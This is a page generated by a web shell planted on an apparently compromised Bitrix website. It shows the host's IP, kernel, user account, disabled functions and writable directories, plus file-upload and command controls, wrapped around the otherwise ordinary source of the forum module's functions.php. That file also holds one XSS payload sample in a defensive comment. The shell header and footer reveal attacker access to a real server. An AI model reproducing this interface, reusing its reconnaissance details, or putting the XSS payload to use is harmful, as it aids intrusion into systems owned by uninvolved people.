%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.12.161.6
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/forum/classes/general/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/forum/classes/general/functions.php
<?
##############################################
# Bitrix Site Manager Forum                  #
# Copyright (c) 2002-2007 Bitrix             #
# http://www.bitrixsoft.com                  #
# mailto:admin@bitrixsoft.com                #
##############################################
IncludeModuleLangFile(__FILE__);
function Error($error)
{
	global $MESS;
	require_once($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/forum/lang/".LANGUAGE_ID."/errors.php");
	$msg = $MESS[$error["MSG"]];
	echo "Error: ".$msg;
}

class forumTextParser extends CTextParser
{
	/* @deprecated */ var $image_params = array();
	/* @deprecated */ var $pathToUser = "";
	public $imageWidth = 300;
	public $imageHeight = 300;
	public $maxStringLen = 60;
	public $imageHtmlWidth = 0;
	public $imageHtmlHeight = 0;
	public $imageTemplate = "popup_image";
	public $component = null;
	public $smilesGallery = 0;
	public $arFilesIDParsed = array();


	function __construct($lang = false, $pathToSmiles = '', $type=false, $mode = 'full')
	{
		parent::__construct();
		$this->arFiles = array();
		$this->arFilesParsed = array();

		$this->arUserfields = array();
		$this->ajaxPage = $GLOBALS["APPLICATION"]->GetCurPageParam("", array("bxajaxid", "logout"));
		$this->userPath = "";
		$this->userNameTemplate = str_replace(array("#NOBR#","#/NOBR#"), "", CSite::GetDefaultNameFormat());
		$this->smilesGallery = \COption::GetOptionInt("forum", "smile_gallery_id", 0);

		if ($mode == 'full')
		{
			AddEventHandler("main", "TextParserAfterTags", Array(&$this, "ParserFile"));
		}
	}

	public static function GetFeatures($arForum)
	{
		static $arFeatures = [
			"HTML", "ANCHOR", "BIU", "IMG",
			"VIDEO", "LIST", "QUOTE", "CODE",
			"FONT", "UPLOAD", "NL2BR", "SMILES",
			"TABLE", "ALIGN"];
		$result = array();
		if (is_array($arForum))
		{
			foreach ($arFeatures as $feature)
			{
				$result[$feature] = ((isset($arForum['ALLOW_'.$feature]) && $arForum['ALLOW_'.$feature] == 'Y') ? 'Y' : 'N');
			}
		}
		return $result;
	}

	public static function GetEditorButtons($arParams)
	{
		$result = array();
		$arEditorFeatures = array(
			"ALLOW_QUOTE" => array('Quote'),
			'ALLOW_ANCHOR' => array('CreateLink'),
			"ALLOW_VIDEO" => array('InputVideo'),
			"ALLOW_UPLOAD" => array('UploadFile'),
			"ALLOW_MENTION" => array('MentionUser')
		);
		if (isset($arParams['forum']) && is_array($arParams['forum']))
		{
			$res = array_intersect_key($arParams['forum'], $arEditorFeatures);
			foreach ($res as $featureName => $val)
			{
				if ($val != 'N')
					$result = array_merge($result, $arEditorFeatures[$featureName]);
			}
		}
		return $result;
	}

	public static function GetEditorToolbar($arParams)
	{
		static $arEditorFeatures = array(
			"ALLOW_BIU" => array('Bold', 'Italic', 'Underline', 'Strike', 'Spoiler'),
			"ALLOW_FONT" => array('ForeColor','FontList', 'FontSizeList'),
			"ALLOW_QUOTE" => array('Quote'),
			"ALLOW_CODE" => array('Code'),
			'ALLOW_ANCHOR' => array('CreateLink', 'DeleteLink'),
			"ALLOW_IMG" => array('Image'),
			"ALLOW_VIDEO" => array('InputVideo'),
			"ALLOW_TABLE" => array('Table'),
			"ALLOW_ALIGN" => array('Justify'),
			"ALLOW_LIST" => array('InsertOrderedList', 'InsertUnorderedList'),
			"ALLOW_SMILES" => array('SmileList'),
			//"ALLOW_UPLOAD" => array('UploadFile'),
			//"ALLOW_NL2BR" => array(''),
		);
		$result = array();

		if (isset($arParams['mode']) && ($arParams['mode'] == 'full'))
		{
			foreach ($arEditorFeatures as $featureName => $toolbarIcons)
			{
				$result = array_merge($result, $toolbarIcons);
			}
		}
		elseif (isset($arParams['forum']))
		{
			foreach ($arEditorFeatures as $featureName => $toolbarIcons)
			{
				if (isset($arParams['forum'][$featureName]) && ($arParams['forum'][$featureName] == 'Y'))
					$result = array_merge($result, $toolbarIcons);
			}
		}

		$result = array_merge($result, array('MentionUser', 'UploadFile', 'RemoveFormat', 'Source'));
		if (LANGUAGE_ID == 'ru')
			$result[] = 'Translit';

		return $result;
	}

	function convert($text, $allow = array(), $type = "html", $arFiles = false)
	{
		$text = str_replace(array("\013", "\014"), "", $text);

		$this->imageWidth = ($this->image_params["width"] > 0 ? $this->image_params["width"] : ($this->imageWidth > 0 ? $this->imageWidth : 300));
		$this->imageHeight = ($this->image_params["height"] > 0 ? $this->image_params["height"] : ($this->imageHeight > 0 ? $this->imageHeight : 300));

		$this->userPath = str_replace(array("#UID#", "#uid#"), "#user_id#", (empty($this->userPath) && !empty($this->pathToUser) ? $this->pathToUser : $this->userPath));

		$this->type = $type;

		$allow = (is_array($allow) ? $allow : array());
		if (!empty($this->arUserfields))
			$allow["USERFIELDS"] = $this->arUserfields;

		if (sizeof($allow)>0)
		{
			if (!isset($allow['TABLE']))
				$allow['TABLE']=$allow['BIU'];

			$this->allow = array_merge((is_array($this->allow) ? $this->allow : array()), $allow);
		}
		$this->parser_nofollow = COption::GetOptionString("forum", "parser_nofollow", "Y");
		$this->link_target = COption::GetOptionString("forum", "parser_link_target", "_blank");

		if ($arFiles !== false)
			$this->arFiles = is_array($arFiles) ? $arFiles : array($arFiles);
		$this->arFilesIDParsed = array();

		$text = str_replace(array("\013", "\014"), array(chr(34), chr(39)), $this->convertText($text));
		return $text;
	}

	function convert4mail($text, $files = false, $allow = array(), $params = array())
	{
		$this->arFiles = (is_array($files) ? $files : ($files ? array($files) : array()));
		$this->arFilesIDParsed = array();

		if (!empty($params))
		{
			$mail = array(
				"RECIPIENT_ID" => intval($params["RECIPIENT_ID"]),
				"SITE_ID" => ($params["SITE_ID"] ?: SITE_ID)
			);
			$allow = array_merge(((is_array($allow) ? $allow : array()) + array(
				"HTML" => "N",
				"ANCHOR" => "Y",
				"BIU" => "Y",
				"IMG" => "Y",
				"QUOTE" => "Y",
				"CODE" => "Y",
				"FONT" => "Y",
				"LIST" => "Y",
				"NL2BR" => "N",
				"TABLE" => "Y"
			)), array("SMILES" => "N"));

			$this->RECIPIENT_ID = $mail["RECIPIENT_ID"];
			$this->SITE_ID = $mail["SITE_ID"];

			if (is_array($this->arUserfields))
			{
				foreach ($this->arUserfields as &$f)
				{
					$f += $mail;
				}
			}
			return $this->convert($text, $allow, "mail");
		}
		else
		{
			$text = parent::convert4mail($text);
			if (!empty($this->arFiles))
				$this->ParserFile($text, $this, "mail");
			if (preg_match("/\\[cut(([^\\]])*)\\]/is".BX_UTF_PCRE_MODIFIER, $text, $matches))
			{
				$text = preg_replace(
					array("/\\[cut(([^\\]])*)\\]/is".BX_UTF_PCRE_MODIFIER,
						"/\\[\\/cut\\]/is".BX_UTF_PCRE_MODIFIER),
					array("\001\\1\002",
						"\003"),
					$text);
				while (preg_match("/(\001([^\002]*)\002([^\001\002\003]+)\003)/is".BX_UTF_PCRE_MODIFIER, $text, $arMatches))
					$text = preg_replace(
						"/(\001([^\002]*)\002([^\001\002\003]+)\003)/is".BX_UTF_PCRE_MODIFIER,
						"\n>================== CUT ===================\n\\3\n>==========================================\n",
						$text);
				$text = preg_replace(
					array("/\001([^\002]+)\002/",
						"/\001\002/",
						"/\003/"),
					array("[cut\\1]",
						"[cut]",
						"[/cut]"),
					$text);
			}
		}
		return $text;
	}

	function ParserFile(&$text, &$obj, $type="html")
	{
		if (method_exists($obj, "convert_attachment"))
		{
			$tmpType = $obj->type;
			$obj->type = $type;
			$text = preg_replace_callback("/\[file([^\]]*)id\s*=\s*([0-9]+)([^\]]*)\]/is".BX_UTF_PCRE_MODIFIER, array($this, "convert_attachment"), $text);
			$obj->type = $tmpType;
		}
	}

	function convert_open_tag($marker = "quote")
	{
		$marker = (mb_strtolower($marker) == "code" ? "code" : "quote");

		$this->{$marker."_open"}++;
		if ($this->type == "rss")
			return "\n====".$marker."====\n";
		else if ($this->type == "mail")
			return ($marker == "code" ? "<code>" : "<blockquote>");
		else if ($this->bMobile)
			return "<div class='blog-post-".$marker."' title=\"".($marker == "quote" ? GetMessage("FRM_QUOTE") : GetMessage("FRM_CODE"))."\"><table class='blog".$marker."'><tr><td>";
		else
			return '<div class="entry-'.$marker.'"><table class="forum-'.$marker.'"><thead><tr><th>'.($marker == "quote" ? GetMessage("FRM_QUOTE") : GetMessage("FRM_CODE")).'</th></tr></thead><tbody><tr><td>';
	}

	function convert_close_tag($marker = "quote")
	{
		$marker = (mb_strtolower($marker) == "code" ? "code" : "quote");

		if ($this->{$marker."_open"} == 0)
		{
			$this->{$marker."_error"}++;
			return "";
		}
		$this->{$marker."_closed"}++;

		if ($this->type == "rss")
			return "\n=============\n";
		else if ($this->type == "mail")
			return ($marker == "code" ? "</code>" : "</blockquote>");
		else if ($this->bMobile)
			return "</td></tr></table></div>";
		else
			return "</td></tr></tbody></table></div>";

	}

	function convert_image_tag($url = "", $params="")
	{
		$url = trim($url);
		if (empty($url)) return "";
		$type = (mb_strtolower($this->type) == "rss" ? "rss" : "html");

		$bErrorIMG = !preg_match("/^(http|https|ftp|\/)/i".BX_UTF_PCRE_MODIFIER, $url);

		$url = str_replace(array("<", ">", "\""), array("%3C", "%3E", "%22"), $url);
		// to secure from XSS [img]http://ya.ru/[url]http://onmouseover=prompt(/XSS/)//[/url].jpg[/img]

		if ($bErrorIMG)
			return "[img]".$url."[/img]";

		if ($type != "html")
			return '<img src="'.$url.'" alt="'.GetMessage("FRM_IMAGE_ALT").'" border="0" />';

		$width = 0; $height = 0;
		if (preg_match_all("/width\=(?P<width>\d+)|height\=(?P<height>\d+)/is".BX_UTF_PCRE_MODIFIER, $params, $matches)):
			$width = intval(!empty($matches["width"][0]) ? $matches["width"][0] : $matches["width"][1]);
			$height = intval(!empty($matches["height"][0]) ? $matches["height"][0] : $matches["height"][1]);
		endif;
		$result = $GLOBALS["APPLICATION"]->IncludeComponent(
			"bitrix:forum.interface",
			$this->imageTemplate,
			Array(
				"URL" => $url,
				"SIZE" => array("width" => $width, "height" => $height),
				"MAX_SIZE" => array("width" => $this->imageWidth, "height" => $this->imageHeight),
				"HTML_SIZE"=> array("width" => $this->imageHtmlWidth, "height" => $this->imageHtmlHeight),
				"CONVERT" => "N",
				"FAMILY" => "FORUM",
				"RETURN" => "Y"
			),
			$this->component,
			array("HIDE_ICONS" => "Y"));
		return $this->defended_tags($result, 'replace');
	}

	function convert_attachment($fileID = "", $p = "", $type = "", $text = "")
	{
		if (is_array($fileID))
		{
			$text = $fileID[0];
			$p = $fileID[3];
			$fileID = $fileID[2];
		}

		$fileID = intval($fileID);
		$type = mb_strtolower(empty($type)? $this->type : $type);
		$type = (in_array($type, array("html", "mail", "bbcode", "rss")) ? $type : "html");

		$this->arFiles = (is_array($this->arFiles) ? $this->arFiles : array($this->arFiles));
		if ($fileID <= 0 || (!array_key_exists($fileID, $this->arFiles) && !in_array($fileID, $this->arFiles)))
			return $text;

		if (!array_key_exists($fileID, $this->arFiles) && in_array($fileID, $this->arFiles)): // array(fileID10, fileID12, fileID14)
			unset($this->arFiles[array_search($fileID, $this->arFiles)]);
			$this->arFiles[$fileID] = $fileID; // array(fileID10 => fileID10, fileID12 => fileID12, fileID14 => fileID14)
		endif;

		if (!is_array($this->arFiles[$fileID]))
			$this->arFiles[$fileID] = CFile::GetFileArray($fileID); // array(fileID10 => array about file, ....)

		if (!is_array($this->arFiles[$fileID])): // if file does not exist
			unset($this->arFiles[$fileID]);
			return $text;
		endif;

		if (!array_key_exists($fileID, $this->arFilesParsed) || empty($this->arFilesParsed[$fileID][$type]))
		{
			$arFile = $this->arFiles[$fileID];
			if ($type == "html" || $type == "rss")
			{
				$width = 0; $height = 0;
				if (preg_match_all("/width\=(?P<width>\d+)|height\=(?P<height>\d+)/is".BX_UTF_PCRE_MODIFIER, $p, $matches)):
					$width = intval(!empty($matches["width"][0]) ? $matches["width"][0] : $matches["width"][1]);
					$height = intval(!empty($matches["height"][0]) ? $matches["height"][0] : $matches["height"][1]);
				endif;
				$arFile[$type] = $GLOBALS["APPLICATION"]->IncludeComponent(
						"bitrix:forum.interface",
						"show_file",
						Array(
							"FILE" => $arFile,
							"SHOW_MODE" => ($type == "html" ? "THUMB" : "RSS"),
							"SIZE" => array("width" => $width, "height" => $height),
							"MAX_SIZE" => array("width" => $this->imageWidth, "height" => $this->imageHeight),
							"HTML_SIZE"=> array("width" => $this->imageHtmlWidth, "height" => $this->imageHtmlHeight),
							"CONVERT" => "N",
							"NAME_TEMPLATE" => $this->userNameTemplate,
							"FAMILY" => "FORUM",
							"SINGLE" => "Y",
							"RETURN" => "Y"),
						$this->component,
						array("HIDE_ICONS" => "Y"));
			}
			else
			{
				$path = '/bitrix/components/bitrix/forum.interface/show_file.php?fid='.$arFile["ID"];
				$bIsImage = (CFile::CheckImageFile(CFile::MakeFileArray($fileID)) === null);
//				$path = ($bIsImage && !empty($arFile["SRC"]) ? $arFile["SRC"] : !$bIsImage && !empty($arFile["URL"]) ? $arFile["URL"] : $path);
				$path = preg_replace("'(?<!:)/+'s", "/", (mb_substr($path, 0, 1) == "/" ? CHTTP::URN2URI($path, $this->serverName) : $path));
				switch ($type)
				{
					case "bbcode":
							$arFile["bbcode"] = ($bIsImage ? '[IMG]'.$path.'[/IMG]' : '[URL='.$path.']'.$arFile["ORIGINAL_NAME"].'[/URL]');
						break;
					case "mail":
							$arFile["mail"] = $arFile["ORIGINAL_NAME"].($bIsImage ? " (IMAGE: ".$path.")" : " (URL: ".$path.")");
						break;
				}
			}
			$this->arFilesParsed[$fileID] = $arFile;
		}
		$this->arFilesIDParsed[] = $fileID;
		return $this->arFilesParsed[$fileID][$type];
	}

	function convert_to_rss(
		$text,
		$arImages = Array(),
		$arAllow = Array())
	{
		if (empty($arAllow))
			$arAllow = array(
				"HTML" => "N",
				"ANCHOR" => "Y",
				"BIU" => "Y",
				"IMG" => "Y",
				"QUOTE" => "Y",
				"CODE" => "Y",
				"FONT" => "Y",
				"LIST" => "Y",
				"SMILES" => "Y",
				"NL2BR" => "N",
				"TABLE" => "Y"
			);
		$text = preg_replace(
			array(
				"#^(.+?)<cut[\s]*(/>|>).*?$#is".BX_UTF_PCRE_MODIFIER,
				"#^(.+?)\[cut[\s]*(/\]|\]).*?$#is".BX_UTF_PCRE_MODIFIER),
			"\\1", $text);

		return $this->convert($text, $arAllow, "rss", $arImages);
	}

	function render_user($fields)
	{
		$classAdditional = (!empty($fields['CLASS_ADDITIONAL']) ? $fields['CLASS_ADDITIONAL'] : '');
		$pathToUser = (!empty($fields['PATH_TO_USER']) ? $fields['PATH_TO_USER'] : '');
		$userId = (!empty($fields['USER_ID']) ? $fields['USER_ID'] : '');
		$userName = (!empty($fields['USER_NAME']) ? $fields['USER_NAME'] : '');

		if (empty($userId))
		{
			return "<span class=\"blog-p-user-name\">{$userName}</span>";
		}

		$anchorId = RandString(8);

		return '<a class="blog-p-user-name'.$classAdditional.'" id="bp_'.$anchorId.'" href="'.CComponentEngine::MakePathFromTemplate($pathToUser, array("user_id" => $userId)).'" bx-tooltip-user-id="'.(!$this->bMobile ? $userId : '').'">'.$userName.'</a>';
	}
}

/***
 * @deprecated
 */
class textParser extends forumTextParser {
	public function killAllTags($text)
	{
		return parent::clearAllTags($text);
	}
}

class CForumSimpleHTMLParser
{
	private $data;
	private $parse_search_needle = '/([^\[]*)(?:\[(.*)\])*/i'.BX_UTF_PCRE_MODIFIER;
	private $parse_tag = "/<(?<closing>\/?)(?<tag>[a-z]+)(?<params>.*?)(?<selfclosing>\/?)>/ism".BX_UTF_PCRE_MODIFIER;
	private $parse_params = '/([a-z\-]+)\s*=\s*(?:([^\s]*)|(?:[\'"]([^\'"])[\'"]))/im'.BX_UTF_PCRE_MODIFIER;
	private $lastError = '';
	private $preg = array(
			"counter" => 0,
			"pattern" => array(),
			"replace" => array()
		);

	function __construct ($data)
	{
		$this->data = $this->prepare($data);
	}
	/**
	 * @param string $text
	 * @return string
	 */
	private function prepare(string $text): string
	{
		$text = preg_replace_callback(
			"/<pre>(.+?)<\\/pre>/is".BX_UTF_PCRE_MODIFIER,
			[$this, "defendTags"],
			$text
		);
		$text = str_replace(["\r\n", "\n", "\t"], "", $text);
		$text = str_replace($this->preg["pattern"], $this->preg["replace"], $text);
		$this->preg["pattern"] = array();
		$this->preg["replace"] = array();
		return $text;
	}

	/**
	 * @param array $matches
	 * @return string
	 */
	public function defendTags($matches)
	{
		$text = "<\017#".(++$this->preg["counter"]).">";
		$this->preg["pattern"][] = $text;
		$this->preg["replace"][] = $matches[0];
		return $text;
	}

	function findTagStart($needle) // needle = input[name=input;class=red]
	{
		$offset = 0;

		$search = array();
		if (preg_match($this->parse_search_needle, $needle, $matches ) == 0)
			return '';
		if (sizeof($matches) > 1)
		{
			$search['TAG'] = trim($matches[1]);
		}
		if (sizeof($matches) > 2)
		{
			$arAttr = explode(';', $matches[2]);
			foreach($arAttr as $attr)
			{
				list($attr_name, $attr_value) = explode('=', $attr);
				$search[mb_strtoupper(trim($attr_name))] = trim($attr_value);
			}
		}
		$tmp = $this->data;
		// skip special tags
		while ($skip = $this->skipTags($tmp))
		{
			$offset += $skip;
			$tmp = mb_substr($tmp, $skip);
		}
		while ($tmp <> '' && preg_match($this->parse_tag, $tmp, $matches) > 0)
		{
			$tag_name = $matches['tag'];
			$localOffset = mb_strpos($tmp, $matches[0]) + mb_strlen($matches[0]);

			if (mb_strlen($matches['closing']) <= 0 && $tag_name == $search['TAG']) // tag has been found
			{
				// parse params
				$params = $matches['params'];
				if (preg_match_all($this->parse_params, $params, $arParams, PREG_SET_ORDER ) > 0)
				{
					// store tag params
					$arTagParams = array();
					foreach($arParams as $arParam)
						$arTagParams[mb_strtoupper(trim($arParam[1]))] = trim(trim($arParam[2]), '"\'');
					// compare all search params
					$found = true;
					foreach($search as $key => $value)
					{
						if ($key == 'TAG') continue;
						if (!( isset($arTagParams[$key]) && $arTagParams[$key] == $value))
						{
							$found = false;
							break;
						}
					}
					if ($found)
					{
						return $offset;
					}
				}
			}

			$offset += $localOffset;
			$tmp = mb_substr($tmp, $localOffset);

			// skip special tags
			while ($skip = $this->skipTags($tmp))
			{
				$offset += $skip;
				$tmp = mb_substr($tmp, $skip);
			}
		}
		return false;
	}

	function skipTags($tmp)
	{
		static $tags_open = array('<!--', '<script');
		static $tags_close = array('-->', '</script>');
		static $n_tags = 2;
		static $tags_quoted;

		if (!is_array($tags_quoted))
		for ($i=0; $i<$n_tags;$i++)
				$tags_quoted[$i] = array('open' => preg_quote($tags_open[$i]), 'close' => preg_quote($tags_close[$i]));

		for ($i=0; $i<$n_tags;$i++)
		{
			if (preg_match('#^\s*'.$tags_quoted[$i]['open'].'#i'.BX_UTF_PCRE_MODIFIER, $tmp) < 1) continue;
			if (preg_match('#('.$tags_quoted[$i]['close'].'[^<]*)#im'.BX_UTF_PCRE_MODIFIER, $tmp, $matches) > 0)
			{
				$endpos = mb_strpos($tmp, $matches[1]);
				$offset = $endpos + mb_strlen($matches[1]);
				return $offset;
			}
		}
		return false;
	}

	function setError($msg)
	{
		$this->lastError = $msg;
		return false;
	}

	function findTagEnd($startIndex)
	{
		if ($startIndex === false || (intval($startIndex) == 0 && $startIndex !== 0))
			return $this->setError('E_PARSE_INVALID_INDEX');
		$tmp = mb_substr($this->data, $startIndex);

		$this->lastError = '';
		$arStack = [];
		$offset = 0;
		$closeMistmatch = 2;
		$tag_id = 0;

		while ($tmp <> '' && preg_match($this->parse_tag, $tmp, $matches) > 0)
		{
			$tag_id++;
			$tag_name = mb_strtoupper($matches['tag']);
			$localOffset = mb_strpos($tmp, $matches[0]) + mb_strlen($matches[0]);

			if ($matches['closing'] == '/') // close tag
			{
				if (end($arStack) == $tag_name)
				{
					array_pop($arStack);
				}
				else // lost close tag somewhere
				{
					$fixed = false;
					for ($i=2;$i<=$closeMistmatch+1;$i++)
					{
						if (sizeof($arStack) > $i && $arStack[sizeof($arStack)-$i] == $tag_name)
						{
							$arStack = array_slice($arStack, 0, -$i);
							$fixed = true;
						}
					}
					if (!$fixed)
					{
						return $this->setError('E_PARSE_INVALID_DOM_2');
					}
				}
			}
			else if ($matches['selfclosing'] == '/') // self close tag
			{
				// do nothing
			}
			else if ($tag_name == 'LI' && end($arStack) == 'LI') // oh
			{
				// do nothing
			}
			else // open tag
			{
				$arStack[] = $tag_name;
			}
			if (sizeof($arStack) > 300)
			{
				return $this->setError('E_PARSE_TOO_BIG_DOM_3');  // too big DOM
			}
			else if (sizeof($arStack) == 0) // done !
			{
				return $offset + $localOffset;
			}
			else // continue
			{
				$offset += $localOffset;
				$tmp = mb_substr($tmp, $localOffset);
			}
			// skip special tags
			while ($skip = $this->skipTags($tmp))
			{
				$offset += $skip;
				$tmp = mb_substr($tmp, $skip);
			}
		}
		return $this->setError('E_PARSE_INVALID_DOM_4');  // not enough data in $data ?
	}

	function getTagHTML($search)
	{
		$messagePost = '';
		$messageStart = $this->findTagStart($search);
		if ($messageStart === false) return '';
		$messageEnd = $this->findTagEnd($messageStart);
		if ($messageEnd !== false)
			$messagePost = mb_substr($this->data, $messageStart, $messageEnd);
		return trim($messagePost);
	}

	function getInnerHTML($startLabel, $endLabel, $multiple=false)
	{
		$startPos = mb_strpos($this->data, $startLabel);
		if ($startPos === false) return '';
		$startPos += mb_strlen($startLabel);
		$endPos = mb_strpos($this->data, $endLabel, $startPos);
		if ($endPos === false) return '';
		return trim(mb_substr($this->data, $startPos, $endPos - $startPos));
	}
}

class CForumCacheManager
{
	public function __construct()
	{
		if(defined("BX_COMP_MANAGED_CACHE"))
		{
			AddEventHandler("forum", "onAfterMessageDelete", array(&$this, "OnMessageDelete"));
			AddEventHandler("forum", "onAfterMessageUpdate", array(&$this, "OnMessageUpdate"));
			AddEventHandler("forum", "onAfterMessageAdd", array(&$this, "OnMessageAdd"));

			AddEventHandler("forum", "onAfterTopicAdd", array(&$this, "OnTopicAdd"));
			AddEventHandler("forum", "onAfterTopicUpdate", array(&$this, "OnTopicUpdate"));
			AddEventHandler("forum", "onAfterTopicDelete", array(&$this, "OnTopicDelete"));

			//AddEventHandler("forum", "onAfterForumAdd", array(&$this, "OnForumAdd"));
			AddEventHandler("forum", "onAfterForumUpdate", array(&$this, "OnForumUpdate"));
			//AddEventHandler("forum", "OnAfterForumDelete", array(&$this, "OnForumDelete"));

			AddEventHandler("main", "OnAddRatingVote", Array(&$this, "OnRate"));
			AddEventHandler("main", "OnCancelRatingVote", Array(&$this, "OnRate"));
		}
	}

	public static function Compress($arDictCollection)
	{
		if (
			is_array($arDictCollection) &&
			(sizeof($arDictCollection) > 9)
		)
		{
			reset($arDictCollection);
			$arFirst = current($arDictCollection);
			$arKeys = array_keys($arFirst);
			$i = 0;

			foreach($arDictCollection as &$arDictionary)
			{
				if ($i++ === 0)
					continue;

				foreach($arKeys as $k)
				{
					if (isset($arDictionary[$k]) && ($arDictionary[$k] === $arFirst[$k]))
						unset($arDictionary[$k]);
				}
			}
		}
		return $arDictCollection;
	}

	public static function Expand($arDictCollection)
	{
		if (
			is_array($arDictCollection) &&
			(sizeof($arDictCollection) > 9) &&
			is_array($arDictCollection[0])
		)
		{

			$arFirst =& $arDictCollection[0];
			$arKeys = array_keys($arFirst);
			$i = 0;

			foreach($arDictCollection as &$arDictionary)
			{
				if ($i++ === 0)
					continue;

				foreach($arKeys as $k)
				{
					if (!isset($arDictionary[$k]))
					{
						$arDictionary[$k] = $arFirst[$k];
					}
				}
			}
		}
		return $arDictCollection;
	}

	public static function SetTag($path, $tags)
	{
		global $CACHE_MANAGER;
		if (! defined("BX_COMP_MANAGED_CACHE"))
			return false;
		$CACHE_MANAGER->StartTagCache($path);
		if (is_array($tags))
		{
			foreach ($tags as $tag)
				$CACHE_MANAGER->RegisterTag($tag);
		}
		else
		{
			$CACHE_MANAGER->RegisterTag($tags);
		}
		$CACHE_MANAGER->EndTagCache();
		return true;
	}

	public static function ClearTag($type, $ID=0)
	{
		global $CACHE_MANAGER;
		static $forum = "forum_";
		static $topic = "forum_topic_";

		if ($type === "F" && $ID > 0)
		{
			$CACHE_MANAGER->ClearByTag($forum.$ID);
		}
		elseif ($type === "T" && $ID > 0)
		{
			$CACHE_MANAGER->ClearByTag($topic.$ID);
		}
		else if ($type !== "F" && $type !== "T")
		{
			$CACHE_MANAGER->ClearByTag($type);
		}
	}

	public function OnRate($rateID, $arData)
	{
		if (!isset($arData['ENTITY_TYPE_ID']) ||
			!isset($arData['ENTITY_ID']) ||
			($arData['ENTITY_TYPE_ID'] !== 'FORUM_POST' && $arData['ENTITY_TYPE_ID'] !== 'FORUM_TOPIC'))
				return false;

		if ($arData['ENTITY_TYPE_ID'] === 'FORUM_POST')
		{
			$arMessage = CForumMessage::GetByID($arData['ENTITY_ID']);
			if ($arMessage)
				$this->ClearTag("T", $arMessage['TOPIC_ID']);
		}
		else if ($arData['ENTITY_TYPE_ID'] === 'FORUM_TOPIC')
		{
			$arTopic = CForumTopic::GetByID($arData['ENTITY_ID']);
			if ($arTopic)
				$this->ClearTag("F", $arTopic['FORUM_ID']);
			$this->ClearTag("T", $arData['ENTITY_ID']);
		}
		return true;
	}

	public function OnMessageAdd($ID, $arFields)
	{
		self::ClearTag("T", isset($arFields["FORUM_TOPIC_ID"]) ? $arFields["FORUM_TOPIC_ID"] : $arFields["TOPIC_ID"]);
		self::ClearTag("forum_msg_count".$arFields["FORUM_ID"]);
	}

	public function OnMessageUpdate($ID, $arFields, $arMessage = array())
	{
		$arMessage = (is_array($arMessage) ? $arMessage : array());
		$topic_id = (isset($arFields["FORUM_TOPIC_ID"]) ? $arFields["FORUM_TOPIC_ID"] : $arFields["TOPIC_ID"]);
		if (isset($arFields["APPROVED"]) && $topic_id <= 0)
			$topic_id = $arMessage["TOPIC_ID"];
		if ($topic_id > 0)
			$this->ClearTag("T", $topic_id);
		$forum_id = (isset($arFields["FORUM_ID"]) ? $arFields["FORUM_ID"] : 0);
		if (isset($arFields["APPROVED"]) && $forum_id <= 0)
			$forum_id = $arMessage["FORUM_ID"];
		if ($forum_id > 0)
			$this->ClearTag("forum_msg_count".$forum_id);
	}

	public function OnMessageDelete($ID, $arMessage)
	{
		self::ClearTag("T", isset($arMessage["FORUM_TOPIC_ID"]) ? $arMessage["FORUM_TOPIC_ID"] : $arMessage["TOPIC_ID"]);
		self::ClearTag("forum_msg_count".$arMessage["FORUM_ID"]);
	}

	public function OnTopicAdd($ID, $arFields)
	{
		self::ClearTag("F", $arFields["FORUM_ID"]);
	}

	public function OnTopicUpdate($ID, $arFields)
	{
		if (count($arFields) == 1 && array_key_exists("VIEWS", $arFields))
		{
			return;
		}
		self::ClearTag("T", $ID);
		self::ClearTag("F", $arFields["FORUM_ID"]);
	}

	public function OnTopicDelete(&$ID, $arTopic)
	{
		self::ClearTag("T", $ID);
		self::ClearTag("F", $arTopic["FORUM_ID"]);
	}

	//public function OnForumAdd(&$ID, &$arFields)
	//{
	//}

	public function OnForumUpdate($ID, $arFields)
	{
		self::ClearTag("F", $arFields["FORUM_ID"]);
	}

	//public function OnForumDelete($ID)
	//{
	//}
}

class CForumAutosave
{
	private static $instance;
	private $as;

	public function __construct()
	{
		echo CJSCore::Init(array('autosave'), true);
		$this->as = new CAutoSave();
	}

	public static function GetInstance()
	{
		if (!$GLOBALS['USER']->IsAuthorized())
			return false;
		if (COption::GetOptionString("forum", "USE_AUTOSAVE", "Y") === "N")
			return false;

		if (!isset(self::$instance))
		{
			$c = __CLASS__;
			self::$instance = new $c;
		}

		return self::$instance;
	}

	public function LoadScript($arParams)
	{
		if (!is_array($arParams))
			$arParams = array("formID" => $arParams);
		if (!isset($arParams['recoverMessage']))
			$arParams['recoverMessage'] = GetMessage('F_MESSAGE_RECOVER');

		$jsParams = CUtil::PhpToJSObject($arParams);
		$id = $this->as->GetID();
		ob_start();
?>
		<script>
		window.autosave_<?=$id?>_func = function() { ForumFormAutosave(<?=$jsParams?>); window.autosave_<?=$id?>.Prepare(); };
		if (!!window["ForumFormAutosave"])
			window.autosave_<?=$id?>_func();
		else
		{
			BX.addCustomEvent(window, 'onScriptForumAutosaveLoaded', window.autosave_<?=$id?>_func);
			BX.loadScript("<?=CUtil::GetAdditionalFileURL("/bitrix/js/forum/autosave.js")?>");
		}
		</script>
<?
		ob_end_flush();
	}

	public function Init()
	{
		return $this->as->Init(false);
	}

	public function Reset()
	{
		return $this->as->Reset();
	}
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit